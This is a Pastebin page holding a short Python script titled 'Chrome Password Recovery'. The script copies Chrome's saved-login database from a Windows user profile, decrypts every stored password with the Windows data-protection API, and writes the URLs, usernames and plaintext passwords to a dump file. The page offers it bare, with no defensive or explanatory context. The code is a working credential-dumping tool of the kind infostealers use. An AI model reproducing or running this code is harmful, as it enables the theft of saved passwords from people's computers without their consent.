Cam000

Chrome Password Recovery

Feb 12th, 2017
1,142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.20 KB | None | 0 0
  1. import os, sqlite3, win32crypt, time, shutil, sys
  2. file = open("dump.txt", "w")
  3. file.write("")
  4. file.close
  5. def logit(content):
  6.     file = open("dump.txt", "a")
  7.     file.write(content)
  8.     file.close
  9. shutil.copyfile(os.path.expanduser('~')+"/AppData/Local/Google/Chrome/User Data/Default/Login Data", "tempdatabase")
  10. path = os.path.expanduser('~')+"/AppData/Local/Google/Chrome/User Data/Default"
  11. db = os.path.join(os.path.abspath(os.path.split(sys.argv[0])[0]) + "/tempdatabase")
  12. c = sqlite3.connect(db)
  13. cursor = c.cursor()
  14. select_statement = "SELECT origin_url, username_value, password_value FROM logins"
  15. cursor.execute(select_statement)
  16. login_data = cursor.fetchall()
  17. outputlist = []
  18. for url, user_name, pwd, in login_data:
  19.     pwd = win32crypt.CryptUnprotectData(pwd, None, None, None, 0)
  20.     if url != "" and user_name != "" and pwd[1].decode('utf-8') != "":
  21.         outputlist.append(url)
  22.         outputlist.append(user_name)
  23.         outputlist.append(pwd[1].decode('utf-8'))
  24.         outputlist.append("")  
  25. for item in outputlist:
  26.     try:
  27.         logit(item + "\n")
  28.     except:
  29.         doing = "nothing"      
  30. c.close()
  31. os.remove(os.path.abspath(os.path.split(sys.argv[0])[0]) + "\\tempdatabase")
Advertisement
Add Comment
Please, Sign In to add comment